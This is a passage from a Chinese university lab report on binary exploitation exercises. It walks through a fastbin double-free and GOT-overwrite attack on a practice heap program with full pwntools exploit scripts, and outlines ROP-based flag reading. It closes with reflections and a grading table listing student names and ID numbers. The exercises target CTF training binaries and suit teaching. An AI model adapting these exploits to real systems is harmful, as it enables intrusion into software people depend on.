remote('node5.buuoj.cn',26696)      r=gdb.debug("./roarctf\_2019\_realloc\_magic")      #r = process("./roarctf\_2019\_realloc\_magic")      attack()      r.interactive()  except:      r.close()    这里由于在本地上一直跑不出结果，于是尝试攻击靶机，可以看到成功获取shell，输出flag    提交flag，结果正确   4.5 day5实验1 完成64位目标程序paper的堆利用1.分析源码 main函数的源码如下，该函数在无限次循环中每次循环都打印一个菜单栏，之后调用get\_num函数获取到用户的choice变量的值，之后根据choice变量的值选择执行add\_paper和delete\_paper函数以及secret函数  int main()  {  setvbuf(stdout, 0, 2, 0);  int choice;  while (1){  print\_menu();  choice = get\_num();  switch (choice){  case 1:  add\_paper();  break;  case 2:  delete\_paper();  break;  case 3:  secret();  default:  break;  }  }  printf("thank you\n");  }  add\_paper函数的源码如下，该函数读取用户的输入index以及length变量，并保证index的值在0-9之间 length的值在0到1024之间。之后调用malloc函数向系统申请一个堆块保存到link\_list数组中的第index位，最后调用get\_input函数向分配的堆块位置读入一定长度的数据，  void add\_paper()  {  int index;  int length;  printf("Input the index you want to store(0-9):");  scanf("%d", &index);  if (index < 0 || index > 9)  exit(1);  printf("How long you will enter:");  scanf("%d", &length);  if (length < 0 || length > 1024)  exit(1);  link\_list[index] = malloc(length);  if (link\_list[index] == NULL)  exit(1);  printf("please enter your content:");  get\_input(link\_list[index], length, 1);  printf("add success!\n");  }  delete\_paper函数的源码如下  该函数读取用户输入的index（0<=index<=9），将堆块数组中对应位置的项调用free函数进行清除，但是在调用free函数之后并没有将指针进行清空，在这里存在整个程序的漏洞点  void delete\_paper()  {  int index;  printf("which paper you want to delete,please enter it's index(0-9):");  scanf("%d", &index);  if (index < 0 || index > 9)  exit(1);  free(link\_list[index]);  puts("delete success !");  } 2.修改链接库与链接器 首先查看文件属性，可以看到程序只有PIE保护没有开启    查看程序的libc和ld的版本    使用patchelf将libc和ld修改为2.23版本  patchelf –set-interpreter /mnt/hgfs/shares/week3/day5/paper/libc6\_2.23-0ubuntu11.3\_amd64/ld-linux-x86-64.so.2 paper  patchelf --replace-needed libc.so.6 /mnt/hgfs/shares/week3/day5/paper/libc6\_2.23-0ubuntu11.3\_amd64/libc-2.23.so paper    再次运行程序，程序正常运行   3.构造攻击脚本 根据给出的程序源码构造一个add功能，这个功能在程序开始时向程序输入1，跳转到add\_paper功能，然后在程序要求输入index时将程序的参数idx转换为字符串格式输入给程序，在程序要求length时将size参数转变为字符转输入给程序，在程序要求堆块内存的内容时将content输入给程序。  由此我们在攻击脚本中构造了一个add功能来实现调用程序中的add\_paper功能的作用。  def add(idx, size, content):  io.sendlineafter("2 delete paper\n", '1')  io.sendlineafter("Input the index you want to store(0-9):", str(idx))  io.sendlineafter("How long you will enter:", str(size))  io.sendlineafter('please enter your content:', content)  然后构造delete功能，在程序开始时向程序输入2跳转到delete\_paper函数，然后将程序要求的index输入给程序。  由此我们在攻击脚本中构造了一个delete功能来实现调用程序中的delete\_paper功能的作用。  def delete(idx):  io.sendlineafter("2 delete paper\n", '2')  io.sendlineafter("index(0-9):", str(idx))  接下来在主函数中尝试调用我们刚编写好的功能，在功能之前打上断点  gdb.attach(io)  add(0,0x20,b'aaabbbcccd')  编写完整的exp脚本如下  from pwn import \*  #context.log\_level = 'debug'  io = process("./paper")    def add(idx, size, content):  io.sendlineafter("2 delete paper\n", '1')  io.sendlineafter("Input the index you want to store(0-9):", str(idx))  io.sendlineafter("How long you will enter:", str(size))  io.sendlineafter('please enter your content:', content)    def delete(idx):  io.sendlineafter("2 delete paper\n", '2')  io.sendlineafter("index(0-9):", str(idx))    gdb.attach(io)  add(0,0x20,b'aaabbbcccd')    io.interactive()  运行该脚本    查看堆的初始情况    接下来在调试页面运行程序之后使用vmmap查看内存情况    运行程序到get\_input函数前面    令get\_input函数返回到main函数    之后继续运行程序到主函数case判断步骤中    继续执行后因为我们的漏洞利用脚本调用的是程序的add\_paper功能，所以在运行时会跳转到add\_paper函数中    步入该函数继续运行发现函数会调用malloc函数分配堆地址，申请的内存地址大小为0x20    继续执行到get\_input函数调用前    继续执行可以发现执行完get\_input函数之后app\_paper功能执行完毕之后返回到main函数中      继续执行可以看出程序再次回到初始位置打印菜单进行下一轮循环    这个时候查看堆栈内容可以发现我们刚才申请的内容，成功找到我们的输入堆块的起始位置是堆块的size域值为0x31,因为刚才申请的内容为0x20,所以在这里堆块的大小为0x31，其中的1表示该堆块正在使用状态    因为程序存在use after free漏洞，所以在这里诚信构造漏洞利用函数，多次申请内存堆块但是在释放时只释放一个堆块  add(0,0x10,b'aaaaa')  add(1,0x10,b'aaaaa')  add(2,0x10,b'aaaaa')    gdb.attach(io)  delete(0)  运行自动化脚本执行到释放函数的位置    查看发现所有的堆块内容为空    在执行完delete\_paper函数之后程序会将第一个堆块的内容释放掉    查看该堆块的内容可以发现创建的第一个堆块的位置已经被清零    继续构造漏洞利用脚本将两个堆栈块释放掉  add(0,0x10,b'aaaaa')  add(1,0x10,b'aaaaa')  add(2,0x10,b'aaaaa')    delete(0)  gdb.attach(io)  delete(1)  运行自动化脚本，在执行释放函数前查看bin内容发现只有一个堆块    查看该堆块内的值发现堆块0已经被释放    继续运行后查看bins的内容    查看堆栈内存的值发现1号堆栈块的值确实指向了上一个被清空的堆块的地址，在重新对堆块内存进行重新申请时遵从后入先出原则，先分配1号堆块，再分配0号堆块    再次构造攻击脚本，两次释放1号堆块  add(0,0x10,b'aaaaa')  add(1,0x10,b'aaaaa')  add(2,0x10,b'aaaaa')    delete(0)  delete(1)  gdb.attach(io)  delete(1)  继续运行后发现libc会检查重复释放错误，出现相应的报错信息然后程序也会跳转到raise模块进行执行    接下来尝试绕过该保护机制，该机制的检查原理是当前释放的堆块是否与上一个被释放的堆块相同，如果相同则会出现异常，由此我们想到先释放0号堆块然后释放1号堆块，再释放0号堆块即可实现重复释放0号堆块绕过该检查机制。  因此重新构造攻击脚本如下  add(0,0x10,b'aaaaa')  add(1,0x10,b'aaaaa')  add(2,0x10,b'aaaaa')    delete(0)  delete(1)  gdb.attach(io)  delete(0)  继续运行该脚本发现成功实现双重释放    然后查看bins，发现当程序重新申请堆块时会首先申请0xe2c010位置的堆块，然后申请0xe2c030位置的堆块，然后重新申请0xe2c010位置的堆块    之后查看对应堆块的内存数据发现0号堆块的fd位置成功写入了1号堆块的地址，1号堆块的fd位置成功写入了0号堆块的地址    综上所述我们可以首先申请0xe2c010位置的堆块即0号堆块之后将0号堆块内fd位置的内容修改。  再构造攻击脚本，在重复释放之后再次申请一个堆块的内容  add(0,0x10,b'aaaaa')  add(1,0x10,b'aaaaa')  add(2,0x10,b'aaaaa')    delete(0)  delete(1)  delete(0)    gdb.attach(io)  add(3,0x10,b'0x12345678')  执行该自动化脚本到最后一次add之前查看bin中fastbins链表的内容正常    单步执行add功能之后再查看fastbins链表可以发现当程序再次申请堆块时会申请0x12b4030位置的堆块，然后重复申请0x12b4010位置的堆块，然后申请0x12345678位置的内存，最后申请的地址我们可以控制    因此我们可以通过构造0x12345678的内容去申请任意内存块，将内存块当作堆来处理从而实现任意内存写的功能。  因为在该程序中重定位表只读保护并没有开启，所以我们可以申请到got表的位置。  在ida中查看程序可以发现程序给出了一个后门函数gg，执行该函数可以成功获取本地shell    跳转到后门函数的位置，选择0x400947作为我们程序跳转的目标地址    跳转到got表中选择puts函数作为修改的目标函数其地址为0x602020    综上所述我们攻击的思路就是通过重复释放漏洞破坏程序的fastbins链表，然后再次申请目标内存块之后通过构造目标内存块的内容劫持got表，通过修改got表使得程序最终跳转到后门函数的地址0x400947的位置从而实现获取shell  构造攻击脚本,重复释放之后在fastbins表中有a->b->a->c的指针结构，四个指针分别对应四次申请，申请a之后将a堆块的内容改为c，使得在申请c时能够直接申请到对应内存位置的值，申请c之后修改c的内容就可以修改指定内存的内容从而获取shell  shell=0x400947  puts\_got=0x602020    add(0,0x10,b'aaaaa')  add(1,0x10,b'aaaaa')  add(2,0x10,b'aaaaa')    delete(0)  delete(1)  delete(0)    gdb.attach(io)  add(3,0x10,p64(puts\_got))  add(4,0x10,'A')  add(5,0x10,'A')  add(6,0x10,p64(shell))  运行该漏洞利用程序在add\_paper函数之前首先查看bins，发现下一次申请的空闲堆块为0x602020即got表中puts函数的地址    查看该地址的内容如下可以发现确实是got表中puts函数    继续运行该程序发现会跳转到异常处理部分，原因是因为fastbins链表在重新分配堆块内存的过程中会对堆块申请大小进行检查，如果出现申请的大小与size的值不同就会出现报错    绕过这一机制的方法是在got表中进行申请的过程中我们需要找一个位置的size与申请的大小相同。  首先查看got表部分的内存，找到got表中的\_\_stack\_chk\_fail函数，在其数据中存在40字段，我们可以尝试使用其40字段充当我们申请的堆块的size    所以接下来我们想要找到40字段刚好出现在末尾的情况发现当访问0x602020+10地址时40字段能够出现在size位置，目标地址刚好变成int类型的40数值    在IDA中查看该位置的函数发现0x602030在\_\_stack\_chk\_fail函数中    因此我们接下来的目的就是将got表中printf函数进行替换成为shellcode，同时也要注意将system函数的内容填充回原样。  继续构造payload，将申请的地址改为刚才找到的目标地址0x60202a，同时因为我们找到的size为40，所以我们申请的空间就应该变为0x30才能够返回一个0x40大小的堆块。同时为了方便查看是否注入，将最后申请的堆块内容更改为8个‘a’字符串  shell=0x400947  # puts\_got=0x602020    add(0,0x30,b'aaaaa')  add(1,0x30,b'aaaaa')  add(2,0x30,b'aaaaa')    delete(0)  delete(1)  delete(0)    gdb.attach(io)  add(3,0x30,p64(0x60202a))  add(4,0x30,'A')  add(5,0x30,'A')  add(6,0x30,’a’\*8)  运行攻击脚本之后查看bins表的内容    单步运行之后发现成功返回add success，查看got表    运行到最后一个add功能之后查看对应位置的内存数据发现成功将8个‘a’字符串写入到了对应的位置    需要注意的是我们在注入数据时会破坏掉system函数，同时该函数是我们获取shell需要使用的    再次构造exp脚本，这里在向堆块中填入数据时跳过system函数的位置再填入shellcode  shell=0x400947  # puts\_got=0x602020    add(0,0x30,b'aaaaa')  add(1,0x30,b'aaaaa')  add(2,0x30,b'aaaaa')    delete(0)  delete(1)  delete(0)    gdb.attach(io)  add(3,0x30,p64(0x60202a))  add(4,0x30,'A')  add(5,0x30,'A')  add(6,0x30,b'\x00'\*5+b'\x40'+p64(shell))  运行该脚本，查看对应位置的数据发现system函数内部没有被破坏    查看printf函数的内容发现成功被我们修改为了gg函数的对应位置，在下一次调用printf时就会进入gg后门函数    接下来在输入框中输入任意值，单步调试到add\_paper函数中，进入printf入口位置单步步入发现会直接跳转到gg后门函数中    综上所述构造的完整exp脚本为  from pwn import \*    #context.log\_level = 'debug'  #context.arch = 'amd64'  #context.terminal = ['tmux', 'splitw', '-h']      io = process("./paper")    def add(idx, size, content):  io.sendlineafter("2 delete paper\n", '1')  io.sendlineafter("Input the index you want to store(0-9):", str(idx))  io.sendlineafter("How long you will enter:", str(size))  io.sendlineafter('please enter your content:', content)    def delete(idx):  io.sendlineafter("2 delete paper\n", '2')  io.sendlineafter("index(0-9):", str(idx))    shell=0x400947  # puts\_got=0x602020    add(0,0x30,b'aaaaa')  add(1,0x30,b'aaaaa')  add(2,0x30,b'aaaaa')    delete(0)  delete(1)  delete(0)    add(3,0x30,p64(0x60202a))  add(4,0x30,'A')  add(5,0x30,'A')  gdb.attach(io)  add(6,0x30,b'\x40' + b'\x00'\*5 + p64(shell))      io.interactive()  运行结果如下所示，成功获取目标shell   实验2完成64位目标程序pwn的堆利用 首先对pwn进行例行检查    接下来我们将其拖入到ida中进行查看，可以看到里面一堆”sub\_xxx”也就是没有了符号表，其中的函数名称需要我们自己猜测    仔细观察其里面的各项内容之后，大致命名如下    在我们设置完链接库和链接器之后，我们运行调试一下看看，我们先来到如下位置    之后查看堆块状态如下，可以发现此时还没有堆空间，因为我们还没有进行分配    此时我们先查看一下堆区的起始分配地址    接下来并查看一下该部分位置的数据内容，可以发现里面是没有内容的    之后我们再次运行到下面的位置，我们需要查看当赋值之后堆的变化情况    再次bins一下查看状态      尝试对该位置的堆空间进行反汇编，结果如下    查看一下映射表如下，我们需要通过该映射表来计算libc的基地址，将上面的地址减去下面的heap后面的code地址的Start，最终得到我们的libc地址    当我们找到libc基地之后，利用pwntools方便我们找到其它的用于hook的系统函数    之后我们向下执行查找到free\_hook的执行地址，其中已经写入了数据    对其进行反汇编结果查看，得到的结果如下图    接下来使用我们的ROPgadget工具进行搜索，查找对应指令在libc中的位置，之后放入我们的攻击脚本中便于使用    同理寻找“pop rxd；ret”、“pop rdi；ret”、“pop rsi；ret”    之后我们分别构造payload进行“open(/flag,0);”、“read(fd,bss,0x100)”、“write(fd)”等，最终将flag显示到交互界面上 | | | | | |
| 五、实验总结 本周完成了包括选做题等所有任务：  完成目标程序bof的利用  完成64位目标程序axb\_2019\_brop64的利用  完成64位目标程序easylib的利用  完成静态编译程序PicoCTF\_2018\_can-you-gets-me的利用  完成32位目标程序axb\_2019\_fmt32的利用  完成目标程序pb的利用  利用IDA插件keypatch完成对AWD文件夹下format、gets、pwn的程序修补  完成64位目标程序roarctf\_2019\_realloc\_magic的利用  完成64位目标程序paper的堆利用  完成64位目标程序pwn的堆利用 | | | | | |
| 六、各人实验贡献与体会赵伯俣贡献 完成64位目标程序axb\_2019\_brop64的利用  完成目标程序pb的利用  完成64位目标程序paper的堆利用 体会 在本周的试验任务中详细完成了利用pwn对可执行程序分析漏洞并编写自动化脚本的过程中学到了栈溢出、格式化字符串漏洞和堆溢出等漏洞形式，并在完成题目的过程中完善了对于相应的理论知识的理解，也学习到了多种获取目标主机shell的方法。  本周实验的任务因为之前没有基础，所以在实验的过程中出现了不少的问题，在互联网上搜索资料解决问题的同时是我学习到了很多额外的方法以及学会了很多在调试自动化脚本上的技巧。  在本周的实验中最感兴趣的是格式化字符串漏洞，因为在编程的过程中确实会出现使用printf等函数不规范的现象，虽然程序运行的结果没有变化，但是却存在着非常危险的漏洞，这一点警示着我在以后的编程时要时刻按照规则进行编写，不能因为偷懒而造成程序在安全层面的漏洞 刘竞优贡献 完成静态编译程序PicoCTF\_2018\_can-you-gets-me的利用  利用IDA插件keypatch完成对AWD文件夹下format、gets、pwn的程序修补  完成64位目标程序roarctf\_2019\_realloc\_magic的利用 体会 本周重点学习并实践了二进制漏洞的利用，包括栈溢出、堆溢出、格式化字符串等漏洞，栈溢出和格式化字符串漏洞在之前的课程中多次实践，因此上手起来较快，但是对于堆溢出，在之前只是在一个模拟堆管理操作的简易程序上进行过漏洞利用，没有在实际的堆管理模块上操作过，因此上手较为困难。不过在这次的实践中学到了多种堆溢出漏洞利用手法，Off-by-One、Use-After-Free、Double-Free、Alloc to Stack、House of Spirit等多种攻击方式，同时学到利用  \_IO\_2\_1\_stdout\_来获取libc的基地址的方法，大开眼界，虽然老师在讲这些方法时没有提供例题，但是自己搜索了相关题目进行学习。 张竣尧贡献体会 | | | | | |
| 七、教师评语 | | | | | |
| **教师评分（请填写好姓名、学号）** | | | | | |
| 姓名 | | 学号 | | 分数 | |
| 赵伯俣 | | 2021302181156 | |  | |
| 刘竞优 | | 2021302181057 | |  | |
| 张竣尧 | | 2021302181004 | |  | |
| 教师签名：  2024年 月 日 | | | | | |